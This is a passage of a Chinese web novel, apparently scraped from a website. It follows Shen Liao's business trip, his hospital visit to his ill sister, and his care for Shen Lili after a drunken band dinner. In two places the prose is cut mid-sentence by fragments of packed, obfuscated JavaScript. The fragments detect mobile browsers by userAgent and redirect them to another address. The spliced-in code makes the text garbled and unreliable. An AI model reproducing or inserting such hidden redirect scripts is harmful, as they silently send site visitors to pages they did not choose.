“喔~”骆雪朝她笑得挤眉弄眼,接着说了句:“玩得开心呀!” 说完,两位舍友朝他们挥挥手,走开了。 沈离离缓慢地转过身,又缓慢地抬起头,果然如意料之中,对上了沈燎似笑非笑的一双眼睛。 他微微挑眉,在等她说下一句话。 沈离离深吸一口气,义正言辞:“走吧,去吃饭吧,我好饿。” 她选择了忽略插曲。好在沈燎也出奇地没有过多计较,顺着她的意:“好啊,打算带朋友去吃什么?” 她轻咳一声,问他:“出去吃还是挤食堂?” “食堂吧,”沈燎想了想,“以前就没吃过你们学校的食堂,一直听说是大学城之最。” 沈燎本科是海文大学数学系,与艺术学院隔了一条马路。 “好啊,那就带你去挤一挤大学城之最。”沈离离自然有求必应,思索了一下,带他走了人少的小路。 沈燎:“还是你请客我付钱?” 沈离离:“我哪有那么抠!今天放开了吃,算我的。” “真不容易啊,妹妹长大了就是好。”他夸张地感叹。 沈离离一边笑,一边再次给了他一拳。 15. 第 15 章 关于那顿大学城之最,沈燎没尝出太大的感觉。不过显而易见的是,比起外国饭,海文艺术学院的食堂饭菜确实称得上“只应天上有”。 对比真是残酷。 这一天,沈燎先后见了三位新能源相关博士,聘请到两位技术顾问,但距离预期团队还是差了不少。 拜访第四位时,是抵达此地的第二天。 对方与他订在一家餐厅见面。沈燎早到了十分钟,进门后发现对方比自己还要先到。 “沈燎,”安德森用腔调奇怪的中文说,“好久不见。” “是很久不见了,”他坐下,笑着打招呼,“我没想到你会把地方定在这里。” 安德森:“我明白你们国家的人喜欢在饭桌上谈正事。” “不过也不是全部。”沈燎笑说。 安德森是沈燎研究生期间认识的朋友,两人在电影赏析选修课上相识。得益于安德森的自来熟性格,他们莫名其妙地一见如故,后来又组队参加比赛,成了关系不错的朋友。 两人对对方虽然称不上知根知底,但也算了解。这一回,沈燎有备而来,安德森也来者不拒,已经表明了态度。 事情谈得很顺利,只等两天后他回国,再与安德森线上联系,看看研究环境。 正事很快说完,沈燎准备好迎接别的事。比如—— 安德森挑着眉头问他:“和你喜欢的那个女孩,进展如何?” 这位外国友人有一对又粗又浓的眉毛,挑眉的时候眉毛看着像某种准备跳跃的毛毛虫。 这当然没有贬义。沈燎只是走神了。 “没什么进展。”他实话实说。 这两个人在电影赏析课上的相识,起因就是昏昏欲睡的沈燎被安德森唤醒,后者表情特别夸张地说,居然有人会在看电影的时候睡着,你到底为什么选这门课? 沈燎刚睡醒,看着面前的白人面孔,又转头看看周围,全部是外国人。他有一瞬间以为自己在外星。 他当时回答:因为我喜欢的女孩爱看电影。 安德森:“拜托,没有进展也是关键信息,你多说几句话吧。” 好吧。沈燎多说了几句:“她把我当做家人,并不想成为我的女朋友。” 安德森露出一种悲痛的眼神,“所以你根本没有告白。我原以为你回到你的国家,会变得开朗一点,这么内向可不好。还是说你们国家的女人都喜欢你这样沉默的男人?虽然严肃也是好品质,但这可不受女性欢迎啊。” 沈燎听得头晕,“你是第一个说我内向的人。” “看来认识你的人太少了。” 他笑了笑,“也许。” 吃完饭,安德森约他晚上去俱乐部玩,沈燎以还有别的事为由婉拒了。 晚上九点,一同出差的同事已经回酒店休息,沈燎独自驱车前往下一个目的地。 街灯璀璨,和海文的中心市区一样,经济发达的城市没有真正的夜晚,只有属于另一群人的白昼。 沈燎又想起安德森的对他的评价,觉得有点好笑。 年少时的他在做什么?沉迷烟酒,混迹夜场,又或者是和一群富家子弟飙车,不停改装,赛车,腻了就再找其他疯狂刺激肾上腺素的玩法。 任何事物都不是永恒的,什么东西都可以被替代。 反正世界那么大,从不熄灯,就是留给他们玩耍的。 回忆的时候,会觉得以前的自己很陌生。但现在的他呢,好像更陌生。 车停在市郊一家豪华的私人医院。 沈燎下了车,往里走。 他轻车熟路找到电梯,直达六楼。 走到病房门口,往门边的电子屏上一瞥,才停住脚步。半小时前进去了一位家属,还没有离开。 他左右观察了一下,没地方能藏,只好向走廊另一侧走去。 插着兜慢吞吞地晃了十多分钟后,沈燎看见病房里有人出来了。 是陆凯鸿夫妻俩,陆涵音的父母。当然,也是他的父母。 等人彻底离开,他才走过去,敲了敲门,听见陆涵音纳闷的声音:“怎么又回来了。” 门打开,陆涵音一愣,“小燎?你什么时候来的?” “刚才。”沈燎移开眼。 她叫他进来,关上了门,“先坐。是不是来很久了?” “没有,就几分钟。” 见她要去倒水,沈燎出声制止:“你坐下吧,别麻烦了,我待一会儿就走。” 陆涵音没跟他客气,也坐进沙发,疲惫地靠着,问他:“最近怎么样?” 她脸色比几个月前更加苍白,瘦了很多。她长得跟她母亲很像,和沈离离那样宜人的美不一样,她是会勾人魂魄的那种。 从前的陆涵音是戴着珍珠项链在生意场上谈笑风生的女人,如今她瘦得眼窝凹陷,半年前定制的礼服都已经撑不起来。 沈燎说:“挺好的,你呢?” “我?”陆涵音笑了笑,“我就这样了,数着日子过。” 沈燎沉默了一会儿,发现他们之间确实没什么可说的。两个人都不擅长煽情和闲聊,比起沈燎,陆涵音只会更加锐利直接。 “工作上的事呢,有没有遇到什么问题?”陆涵音说。 “没什么大事,一步步来。” “那就行,前期要稳,别把目标定太高。” “嗯。” 又是一会儿,陆涵音低下头,笑了笑,“刚才爸妈来过,知道他们说什么吗。” 她接着道:“他们叫我找你聊聊,劝你别跟家里闹得太难看。” 沈燎终于扯动嘴角,“呵,我能闹什么,现在他们闹得还不够难看吗。” “你知道他们的意思,家丑不能外扬,就是把事情烂在我们肚子里,要面子的不止是人,还有市场。” 他无言以对。 陆涵音看着他,“但我不会劝你的,你想做什么是你的自由。我只是提醒你,不为你自己想,也要为公司着想。” 沈燎:“我知道。叫他们放心,我也懒得讲出去。” 陆涵音不再多说,闭上眼睛休息了一会儿。 沈燎起身去给她倒水,看见摆了满桌的药盒子,还有股权转让书等一沓乱七八糟的文件堆叠着。 “你注意身体。”他把水杯递过去。 陆涵音接过来喝了几口,杯子拿在手上,头又靠了回去,累得睁不开眼。 她忽然想起什么,眯眼看向沈燎,“离离怎么样了?” 沈燎身子一顿,“挺好的。” 陆涵音笑笑,不再开口。 离开前,沈燎顺便说了声沈家奶奶让他交代的事。老爷子身体不行了,希望陆凯鸿能过去一趟。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321097|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >对此,陆涵音只说:“我明天转告,但他回去的可能性不大。” 沈燎翻了个白眼:“随便他。以后也别叫我去沈家了,烦。” “小燎,成熟一点。”她笑说。 于是他又陷入莫名的恍惚,百思不得其解,太内向,不成熟……这沈燎到底应该是什么样的? 离开医院回到酒店,已经接近凌晨。 再洗了澡,上床时刚好凌晨十二点半。接着躺了半个多小时,仍旧毫无睡意。 奇了怪了。 沈燎闭着眼,眉头紧皱。 忽然,床边手机一阵振动。他立刻伸手取过手机,接着就又是一声振动。 离离:【撤回了一条消息】 沈燎:?发了什么 离离:【小熊震惊】 离离:居然没睡吗?你那边现在是凌晨了吧。 沈燎坐起身,打开灯。 他回:有点事,忙到现在,过一会儿就睡。所以刚才发了什么? 离离:好吧。 离离:其实就是突然想到一段绝佳的旋律,想让你听听来着。又想到你可能已经睡了。 沈燎:让我听,不然今晚睡不着了。 离离:你现在一个人在房间吗? 沈燎:是的。 他情不自禁地微笑,等待着。 沈离离直接打来了语音通话,沈燎秒接,听到她的声音:“我现在在家呢,弹给你听。” “好,弹吧,我把音量开到最大,好好欣赏。” 她开心地笑起来。 比起她的琴声,寂静的房间内,他最先听到自己的心跳声。 很快,手机里流出来一段十分轻快的旋律,好像音符在跳动,愉快地飞来飞去。 沈燎静静听着,脑海里想象出她此刻弹琴的模样,在一个阳光明媚的下午,穿着舒适的居家服,光脚踩在踏板上,嘴角蕴着一抹笑,手指灵活游走在黑白键之上。 听完,他认真给出评价:“像电影女主角升职之后在路上一边笑一边奔跑。” “哇!我也是这样想的。” 她絮絮叨叨地开始讲,这段旋律是她回家路上在地铁里想到的,一边哼哼一边飞奔回家,又说海文今天出了很大的太阳,她跑到家大汗淋漓,用最快速度把旋律记录下来。 沈燎笑说:“厉害呀,你们搞艺术的连记性都要好一点是吧。” 沈离离哈哈笑,继续道:“哥我跟你说,我昨天上语言课被老师夸了,她说我语感很好,念英语很好听。虽然不知道她这样夸过多少学生,但我还是特别高兴。晚上回宿舍路上我就开始背单词,鼓励式教育还真有用。” “我觉得你们老师夸得很准确啊,我们家离离就是很优秀。” “……哥你今天嘴好甜。” “我吃糖了,水果糖,要不要带一盒给你?”他憋住笑。 沈离离大叫:“你故意曲解我意思!但水果糖我要。” 沈燎:“算了,我要先为你的牙着想。” 沈离离:“我的牙已经不疼了。” “真的?” “千真万确。” “那也不行,再吃几颗糖真坏了怎么办。” “沈燎你就是不想给我带水果糖。” 沈燎坐在床上笑出声。 窗外灯火通明,月光温柔。 16. 第 16 章 四月以来,沈离离忙得不可开交。 每周末的语言课让她强行捡起荒废许久的英语,作品集的构思也得赶上日程。 她选定了战争剧情片,古风动画以及历史纪录片的片段进行影视配乐,交响乐是她擅长的,但电子风格却是明显的短板。 连上课的路上也依然在研究配乐。但真要说一点时间也没有,倒没那么夸张,毕竟她还是在正常参加乐队排练,只是有些吃力。 从南州回海文后,沈离离打算在作品集里再加一个爱情电影的片段。 寝室里,她坐在床下,戴着耳机,盯着电脑上播放的电影,来来回回看了两遍。感觉再多看几遍,可以逐帧拉片了。 手机忽然来了一串消息提示音。 她没管,继续看。 还在响,叮叮咚咚一连串。估计不是什么系统消息了。 她暂停电影,打开手机。消息全部来自乐队群,艾特了她好几条。 陈夏安:人呢? 杨敬澄:是不是忘了? 沈离离看眼时间,顿时一惊,猛地站起来,摘掉耳机换了鞋往外跑。 居然忘记排练时间了。 她一边回复一边往乐器室赶去。杨敬澄他们在群里叫她别急,慢慢来。 陈夏安:安心啦宝贝,小恒爷也还没来呢。 沈离离扫了一辆共享电动车,一路风驰电掣,几分钟赶到目的地,又一路飞奔上楼,杵着膝盖在乐器室门口喘气。 她抬头,才发现一个眼熟的女孩子站在门口。 女孩冲她点了点头。 沈离离回想了几秒,“你是孟月吧?” 孟月礼貌微笑:“你好。” “怎么不进去?”沈离离示意,然后带着她一起进门了。 孟月说:“我是想来看看殷恒在不在。” 乐器室里只有陈夏安和杨敬澄,两个人都蹲在角落玩手机,闻言才抬头起身。 陈夏安叹气说:“小恒爷直接连消息也不回。” 沈离离觉得奇怪,殷恒虽然随性惯了,但关于乐队的事他从来都是认真对待。 “你们打电话了吗?”她问。 杨敬澄扬扬手机:“刚你来的路上我打了一个,没接。” 沈离离转身看向孟月:“这么说,你也联系不上他?” 孟月点头,有点欲言又止,几秒后,说:“我不知道你们清不清楚,殷恒可能是生病了,会乱跑,以前他经常会过来这里,我就来看看这次会不会在。” 答案很明显,他不在。 陈夏安睁大眼睛:“生什么病会乱跑啊。” 孟月没说,只平和地向他们道了谢,“打扰你们了,那我先走了。” “孟月!”沈离离叫住她,走过去说,“你把他常去的地方和我们说一下,我们跟你一起找吧。” 陈夏安:“反正差个人也不好练,我们人多力量大。” 杨敬澄附和:“对呀。” 孟月点头:“谢谢。” 接下来几人分头行动,开始在整个海文城奔波。 出于安全考虑,他们拉了个群通着视频电话,有任何情况方便联系。 杨敬澄还是觉得不可思议,“怎么那么大个人还会玩失踪,小恒爷名不虚传啊。” 陈夏安:“大哥你少说两句吧,找人要紧。” 沈离离问:“这种情况之前经常出现吗?需不需要报警呀?” 孟月很严谨地说:“不经常,每个月频率在零到一之间。他家人不让报警。” 零到一,这是个什么频率。 杨敬澄纳闷:“为啥不让报警?” 陈夏安说:“他们那种家庭,奇怪点才正常。” 杨敬澄:“不是,你们怎么一个个都跟谜语人似的,奇怪才正常是什么意思?” 沈离离出声:“你可以参考一下沈家。” 杨敬澄沉默两秒,“哦,我懂了。” 沈离离下地铁后,根据孟月给的地址骑着车走,发觉这条路越走越熟悉。 好像是去海文湾附近的。 行至终点,沈离离转头,看向目的地,一栋砖红色类似仓库的建筑,上面有十分简约的艺术字灯管:S&LSUPERCARCLUB。 母语羞耻果真是一种十分普遍的心理作用。如果名字叫沈燎超跑俱乐部就很没档次了。 沈燎绝对是起名废物吧。 沈离离把共享电动车稳稳当当地停在对面,然后走进此俱乐部。 里面停着几辆车,大红大紫,色彩十分明亮,不过沈离离并没有看到熟悉的L字母打头的车。 她直接去找了工作人员,问有没有见过殷恒来这里。 小哥很确定地摇头了,说这人面生,估计不常来。 她点点头,正打算走,忽然鬼使神差地止住脚步,在视频通话的页面按了静音,开口问:“那沈燎呢?他常来吗?” 小哥啊了一声,多看了她一眼,说:“沈老板好几年没亲自来过了,这儿一直是钟会长在管,你不知道?” 会长居然不是沈燎,这有点出乎意料。 沈离离:“那沈燎负责做什么,纯出钱么?” 小哥被她逗笑,“创始人,股东什么的,不一定真要管事呀。” 沈离离点头,向对方道了谢。 她走出建筑,回头又看了眼灯牌上的S&L。 如果去问他这两个字母的意思,又会得到什么样的答案呢?是沈燎,还是沈燎和离离。 但知道答案又有什么用呢。 沈离离淡淡一笑,骑上车离开。 很快,孟月那边说找到殷恒了,让他们不用担心,她把人安全送到家后再给他们消息。 视频通话挂断,大家都松了口气。 天色不早,夜黑如墨。 明天早上没有课,沈离离就近回了家。 随着作品集的深度制作,沈离离更忙得焦头烂额。她计划在暑假前完成四个选定片段的影视配乐,如今已经四月末,进度才过半。 大概因为她的完美主义总是蠢蠢欲动。 虽说最近由于殷恒的病情,乐队排练的次数少了很多,但还是让她有点应付困难。 比如这一晚,她差点又错过时间,踩着点赶到排练室。 没想到这回在她后面的不是殷恒,换成了陈夏安。 三个人进行了没有主唱的纯伴奏排练,十分钟后,陈夏安神情恹恹地赶到了。 沈离离问发生了什么。 她叹气:“我妈他们打算过两年移民,让我也出国。但你们知道的,我不可能去。” 陈夏安在几周前的一次演出里,收到了她一直想要的音乐公司的邀请。 沈离离试图搞清楚原因:“阿姨叔叔他们不是挺好的吗?怎么突然要走。” 陈夏安:“我爸公司出问题了。虽然他职位小,风险不是很大,能出去还是最好。” 陈夏安一向说自己家并不富裕,但其实也不算普通。 面对这些专属于“大人”世界的问题,大家无话可说,也无计可施。好像太遥远,又好像很现实。 排练结束后,四个人找了家自助烧烤店,一起吃宵夜。 久违的烧烤之夜,陈夏安去买了几瓶酒,一个人就喝了一半。 沈离离劝她:“少喝点,身体重要。” 陈夏安给她塞瓶子,脸蛋红红的,笑道:“年轻就是要玩得开心啊!” 杨敬澄:“我安姐说得对,来,干杯!” 四人碰杯,听着酒瓶丁零当啷的清脆响声,似乎把夜晚的浓稠深雾也撞散了些。 不算太欢乐,但也绝说不上沉郁的气氛,终止于殷恒的声音。 “下次的演出之后,我可能就不来了,答应了孟月去治病。”他的声音不大不小。 但每个人都听得很清楚。 也可能是因为,其实大家这一晚都在等这句话。 沈离离深吸一口气,“我……也不知道后面还有没有时间练歌,这几次老迟到,挺对不起大家的。” 陈夏安握住她的手,“这有什么好对不起的。我们都知道你想申请的学校有多难,只靠自己的话,不努力,怎么可能拿到offer。” 陈夏安抬头,话是对着大家,眼睛却是看向一直低着头的杨敬澄,“下次演出之后,咱们就先歇一阵子吧。” 沈离离和殷恒自然没有意见。 “行,”杨敬澄终于开口说,“那就祝大家前程似锦。” 他没有跟人碰杯,自己提着瓶子吨吨吨地喝起来。 沈离离看了他一会儿,也转头跟陈夏安要酒,沉默又认真地喝。 这一晚到最后,他们聊了很多很多,也喝了很多很多。 四个人边喝酒边大声喧哗,像那种真正的,曾经让他们鄙 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陈夏安没把握能独自把她送回家,原本还以为自己没问题,没想到一站起来就直反胃,呕吐欲呼之欲出。殷恒他们刚走,也不好又把人叫回来。 她拧着眉想了一会儿,从沈离离口袋里抽出手机,“离离,你手机密码是什么?我给你哥打电话。” 沈离离脑袋和脸都贴着墙,睡得极其安静。 陈夏安没办法,用力晃了晃她的肩膀,才见她睁开眼睛,带着浓浓鼻音,“嗯?” 陈夏安十分耐心地把话重复了一遍。 沈离离似乎清醒了一点,摇摇晃晃地站起来了,“我哥这几天出差去了,我自己能回去,没事的,很近,我打个车,走路一会儿就到了。安安你也快回家,有点晚了,喝得有点多……” 这说的什么,怎么听都不可能没事吧。 陈夏安焦虑了几秒,抬起沈离离手机准备还给她,偶然按亮屏幕,又偶然看见一串未读消息——来自备注:哥。 “离离,你哥给你——”一抬头,陈夏安彻底傻眼,这人站着,靠着墙,又在打瞌睡。 沈离离不是很爱喝酒的人,以前也从没见她醉过。今晚大家都有心事,这顿饭吃得也心情复杂,她其实很能理解离离喝多。 但确实没想到有人喝醉后的表现是纯睡。 “老天奶。”陈夏安打开她的手机,看见那条来自沈燎的消息显示写着:睡了吗? 这是在出差还是回来了? 但就算在出差,他应该也有办法叫信得过的人来接人吧? 陈夏安的呕吐欲又从胃里窜上嗓子眼,她面目狰狞地吞咽了一下,直接拉起沈离离的手指纹解锁,快准狠地点开联系人页面,果然位列第一的是——AAA沈燎。 她实在想吐得紧,胃里翻江倒海,隐隐作痛,强行喝了一口水,然后拨通了电话。 “离离?”对面不负所望地秒接了。 陈夏安深吸了一口气,飞快说:“沈燎哥你好我是陈夏安,离离喝醉睡着了能麻烦你来接她一下吗我身体实在有点难受送不了她但不放心她一个人回去。” 沈燎:“知道了,地址。” 她迅速报了地址过去,挂断前沈燎问她需不需要联系医生,陈夏安惊恐地拒绝了,表明自己只是有点想吐。 沈燎说:“我马上赶过去,有任何问题你随时打我电话。” 打完电话,陈夏安终于稍微安心了一些,把手机塞回沈离离口袋。 几分钟后,烧烤摊门口出现了位正装男人,气质卓绝,只是与此地不太相衬。 他进门,一眼捕捉到沈离离,大步走过去,才注意到这人真的趴在桌上睡着了。 陈夏安抓住救命稻草,立刻起身说:“离离哥您先走吧,我要去厕所了。” 沈燎:“好,今晚真是麻烦你了。需不需要帮忙?” “小事小事,不用不用,我习惯了。”她拎起一瓶水冲向卫生间。 目光从女生风风火火的身影,重新移回沈离离身上。他坐下,轻拍沈离离的背,“醒醒,回家了。” 沈离离应激反应似的,歘一下坐起来,紧接着眼神迷离,似乎无法聚焦,在他脸上转了一圈。 “沈离离?” 沈离离眯着眼睛:“你是谁啊?” “……”沈燎吸了口气,“我是你——” “我男朋友吗?” 17. 第 17 章 沈燎愣了足足三秒,结结巴巴,半天才组装了一句话:“沈离离,你背着我谈恋爱了?” 沈离离使劲眯了眯眼睛,半晌,似乎看清楚了,有点失落地说:“哦,你是我哥。” “哈,我不仅是你哥,我现在还得给你当司机。”沈燎气得有点想笑。 “那你别当我哥了,”沈离离慢吞吞地说,“你要是不想的话,不当我哥也可以。” 沈燎不说话了,盯了她一会儿,叹气,“我没有不想。” 沈离离又要闭上眼睛。 沈燎飞快扶住她的脑袋,“别睡了,回家。” “你不要挡我见我男朋友。”沈离离怨气颇重。 哦,原来男朋友在梦里呢。 啊,原来是有喜欢的人了。 沈燎又一次沉默,这回,他把她的脑袋掰到自己肩膀上靠着,“算了,睡吧。” 陈夏安出来的时候沈离离已经完全熟睡,靠在沈燎身上。她若有所思地盯了几秒这两人的背影。 陈夏安走过去:“你们怎么还没走?” 沈燎:“麻烦你帮我个忙。” 然后,陈夏安帮沈燎把沈离离弄到他背上了。去到停车场才发现沈燎自己开了一辆车,还有一辆司机开来的。 他叫司机将她送回家,自己开车带沈离离回去。 陈夏安受宠若惊,礼貌地道了谢。刚才还在想怎么在瞒着爸妈的情况下安全回去。 离开前,沈燎把沈离离送进车里坐好,又叫住了她。 陈夏安:“嗯?” 沈燎:“沈离离谈恋爱了吗?” “没有,没听她说过。”陈夏安保证道。 沈燎又很担心地问:“那她有喜欢的人吗?” 陈夏安战略性地犹豫了一下,特别认真地说:“这个我不清楚,不过喜欢她的人倒是很多。” 沈燎点了点头,面色平静:“好的,谢谢。” 回家的路上沈离离呼呼大睡,到家后,迷蒙间似乎听到“这是漱口水,别吞啊”“好好好,洗把脸就睡觉了好不好”“……你是不是还要用洗面奶”之类莫名其妙的话。 但这些都不太重要。 等她睁开眼睛,看见陌生的卧室时,陷入了喘不过气的震惊中。 掀开被子一看,还好还好,只脱了外套和鞋袜。 下了床,浑身难受,头晕得不行,四肢绵软无力,还满身烧烤味。站起身的一瞬,腿一软,差点栽倒在地。 她看了看四周,终于发现点熟悉的东西,桌子上的双人合照,她和沈燎。再仔细想想,这好像是她自己设计的,那个位于沈燎房子里的卧室。 沈离离走到小衣帽间,打开衣柜,里面并不很空荡,有几件合身的衣服。 她迅速去洗澡刷牙换衣服,把难以忍受的酒味和烧烤味洗掉。 期间,突然一阵反胃,冲到马桶边,扶着盖子吐得满脸通红。 再也不喝那么多酒了。 几分钟后,刚关闭花洒,就传来了敲门声。 咚咚咚—— “起床了吗?”声音微微拖长,懒洋洋的,是沈燎。 她都能幻想出他倚在门边出声时的神态。 “起了!”她大声回应,“马上就好。” “慢慢来,别急。” 打开门,沈离离先是闻见香味,然后才看见沈燎翘着二郎腿坐在客厅摆弄手机。 “你做饭了?”她缓慢地走出来,瞧见餐桌上摆了食物。 “不是我做的。你昨晚喝酒,我叫了阿姨来做营养餐。”他放下手机走过来,很绅士地给她拖开椅子,自己也坐下。 沈离离尝了尝,没尝出什么特别的味道,“确实不是你的水平。” 他笑了:“你就说高了还是低了?” 沈离离十分嘴甜:“自然比不过沈总。” 沈燎哼笑一声,“行吧,勉强接受。下回再说得走心一点。” 友好问候了一下他出差顺利与否,随后,沈离离支支吾吾地提到了昨晚:“安安给你打的电话?” 他简短说了一下情况。 沈离离听得出他省略了细节,于是又问:“那我,路上,没有做什么奇怪的事情吧?” 沈燎抬眼,她的视线乍然与他撞上,有点锐利过头。她立刻退缩,埋头盯着筷子。 “心虚什么?我还没说呢。” “哪里心虚了,”沈离离轻咳一声,“好好吃饭。” 他笑了声,说:“放心吧,你睡得跟那个什么睡美人公主一样,根本叫不醒。” 沈离离莫名就想,都说是睡美人了,可能你吻我我就醒了呢。 想完,震撼于自己的思想之直白露骨,着急忙慌地把那个画面当废纸扔进搅碎机。 太可怕了……要是一不小心被知道,更是会崩溃得立刻投胎转世当鸵鸟。 “那……那就好。我下回肯定不喝那么多了,昨晚就是,心情不太好,而且最近压力有点大……”她转动脑子想理由。 沈燎随口说:“我都知道,没事。哥不会说你,这是你的自由。” 沈离离看了他一眼,“哥。” “嗯?” 她想问那个俱乐部的名字,但话到喉头,又有些自嘲地想,问出来,有什么意义呢。 于是她撑起一个笑容,说:“其实当你妹也挺开心的。” 沈燎愣了一下,随即也笑了笑,声音淡淡的:“开心就好。” “不过,”沈离离认真说,“我还是会独立起来,努力赚钱,以后写曲子养你,权当报恩了!” 沈燎开玩笑说:“好啊,那我就等着离离老板给我发红包。” 她灿烂一笑。 早餐过后,沈离离又回卧室睡觉了。 虽然洗过澡,吃过了东西,但这一觉和昨晚一样,还是睡不安稳,也不太舒服。 她翻来覆去,半梦半醒。 直到中午,沈燎第二次敲门,无人应声。他有点担心,提高音量喊了几声沈离离的名字,依然没听到动静。 难不成出门了?不可能,他一直在客厅打视频电话的。 “沈离离,我进来了啊。” 还是没有声音。沈燎有点担心,没再犹豫,推门进去。 他走到床边,终于看见沈离离。 她曲着腿和身体,把自己整个蜷缩起来,肤色红得不太正常,脸紧紧皱着。 沈燎蹙眉,伸手去探她额头的温度。 好像发烧了。 他飞快去找了家里的小药箱,拿出温度计,柔声把她叫醒,量体温。 沈离离眼前天旋地转,冷得不停发抖,看见沈燎的脸,清醒了一下,赶紧接过体温计。 “还有哪难受?”他皱着眉。 沈离离:“冷,肚子不舒服,还有点犯恶心。”讲完,她顿了顿,抬眼看他,慢吞吞说:“没事,我以前也经常肠胃型感冒,吃几次药就好了,你去忙呗。” 沈燎瞪她一眼,“脑子都要烧坏了是吧。我还在这儿呢。” 沈离离不吭声了,闭上眼睛,只觉得很累。 差点再次睡着,沈燎出声惊醒她:“以前喝了酒之后也这么难受?” “不是,”她摇摇头,“以前没喝过那么多。” 沈燎冷笑一声。 沈离离不敢再讲话了。 体温计取出来一看,还好只是低烧,并没有太严重。如她自己所说,是肠胃型感冒。 沈燎刚要打电话找医生过来,被沈离离赶紧制止:“不用,不用,别给我打针什么的,我吃那几种药吃惯了,睡一觉就会好很多。” “确定?”他还是冷着脸,语气也很不客气。 沈离离不太明白为什么很多人都是这样,明明在担心生病的人,却总摆出一副严肃到好像下一秒就要开始责备的表情。 “确定,肯定,真的。”她说。 沈燎望着她真挚,湿漉漉的眼睛,叹了口气,“行,是哪些药,跟我说一遍。” 不过沈离离也很确定,沈燎露出这样的表情,一般是在自责,不太可能责怪她。 她一边回忆一边报了药的名字,“照说明书的正常用量吃就好。” “好,等着我,”他从床边站起来,走出去之前,又不放心地嘱咐:“别睡着了,等着啊。” “知道啦。”她说。 沈燎拿了些吃的来,叫她当午饭吃点,不然吃药对胃不好。虽然生病吃什么都味同嚼蜡,但在沈燎不容拒绝的目光里,沈离离还是咽进去了。 她吃了药,重新缩回被窝里,“晚安沈燎。” 沈燎这才扯了扯嘴角,弯腰给她掖好被角,“午安, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321099|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笨蛋。” 在这儿睡了一晚上,房间里却没有丁点酒气,只充斥着她独有的香气,混杂着一丝淡淡的药味,有点苦。 沈燎在床边坐了好一会儿,没舍得走。 他起身去把窗帘拉上,室内陷入黑暗。沈离离微不可察地皱了皱眼皮。 她小时候很怕黑。在分房睡的事情上没什么烦恼,毕竟很长一段时间,关瑶都不在她身边。但不可缺漏的是床头的一盏小夜灯。 她需要整夜开着灯,才能睡着。这个习惯直到上高中才慢慢改掉。 她七岁时,有一次关瑶出差,三叔也不在家,沈燎熬夜打游戏到凌晨,突然听见敲门声,吓得差点没拿稳游戏机。 他打开门,就看见沈离离穿着睡裙,抱着新买的小熊乐乐,站在他门外,说:“哥哥你不睡觉吗?” 沈燎不回答,问她:“怎么了?” “我可不可以跟你待在一起。”她脸色苍白,头发乱糟糟地散在脑后,用乌黑的眼睛可怜巴巴地望着他。 沈燎反应了几秒,“你害怕啊?” 她点头,说:“我的灯没电了,我找不到电池。” 沈燎叫她进来,“我还不睡,快来,哥教你玩游戏。” 于是他们一宿没有熄灯,沈燎半躺在床上玩了整夜游戏。沈离离不知什么时候睡着了,脑袋还蹭在他脖颈旁,两个小孩挨得很近。 睡梦中的人呼吸渐渐平稳,安宁。 沈燎起身,离开了房间。 窗外,隐隐响起水滴砸落窗台的声音,直到这声音越来越大,阵雨落下。 乌云压城,遮天蔽日,明明是正午,屋里却暗得像傍晚。 沈燎没有开灯,站在窗前,望着雨幕。 在想,刚才被子有没有盖好了,她会不会着凉,想她昨晚醉酒时口中的男朋友,又忍不住想,未来她肯定会有喜欢的人,会恋爱,甚至结婚,到那时,他该怎么办? 他不认为自己能心甘情愿看着她把自己的脆弱袒露给其他人。 可以了,够了,沈燎,你到底还在贪心什么,作为一个半路哥哥,你得到的还不够多吗? 思绪绕了个大弯,最终,又回到那个名字上。 脑海里只剩她的睡颜。 - 沈离离再次清醒时,先是感受到暖色的光,然后才是雨声。 窗帘严丝合缝,但床头的夜灯亮着,温暖光芒把这个孤寂的房间填充。 她下床,套了件外衣,走到窗边,唰地一下,拉开了窗帘,呆呆望着这场淋湿万物的春雨。 哗啦啦的雨声持续着,屏蔽了外界一切声音,这是雨的独唱。 沈离离心跳咚咚响,她缓步往外走,正准备迎接空荡,没想到走进客厅,就看见沈燎坐在电视机前的地毯上。 心跳的很快,像在打拍子,很奇怪的,并不那么和谐的节拍。 “哥,你怎么不开灯?”她的声音有点哑,但在寂静的客厅里,还是像抛进湖泊的石子一样荡起回音。 沈燎抬头,朝她走过来,“醒了?好点没有,还有没有哪里不舒服?” 他用手背来碰碰她的额头,她乖乖站着没动,回答:“好很多了,晚上再吃一回药就行。” 沈燎收回手,“明天接着吃。” “药吃太多不好,”她探头看,问:“你刚在干什么?” 沈燎笑而不语,领着她走过去。 沈离离看清地上的手柄和电视屏幕上的游戏界面,欣喜若狂:“小时候玩的那个!天哪,你上哪找回来的!” 沈燎坐回去,另一个手柄递给她,微微挑眉说:“试试?看看现在我们俩谁厉害。” 沈离离接过来,顺势坐下,自信地朝他笑:“当然是本女侠!” 他笑出来,拉过一旁的毯子盖住她的腿,才开启下一局游戏。 “这边这边!” “来了……等等,那个瓶子不能捡!” “这个可以,你记混了吧。” “……快来帮我!” “啊啊!我快‘死了’!沈燎你是故意的吧!” “故意什么,我们是一队的……” 尖叫声和笑声欲盖弥彰地淹没了狂乱的心跳,但爱并没有消失,也永远不会消失。 这一晚,沈离离忽然想写一首歌,名字叫脉搏。 18. 第 18 章 乐队的最后一场演出定在六月份,还剩一个多月的排练时间。 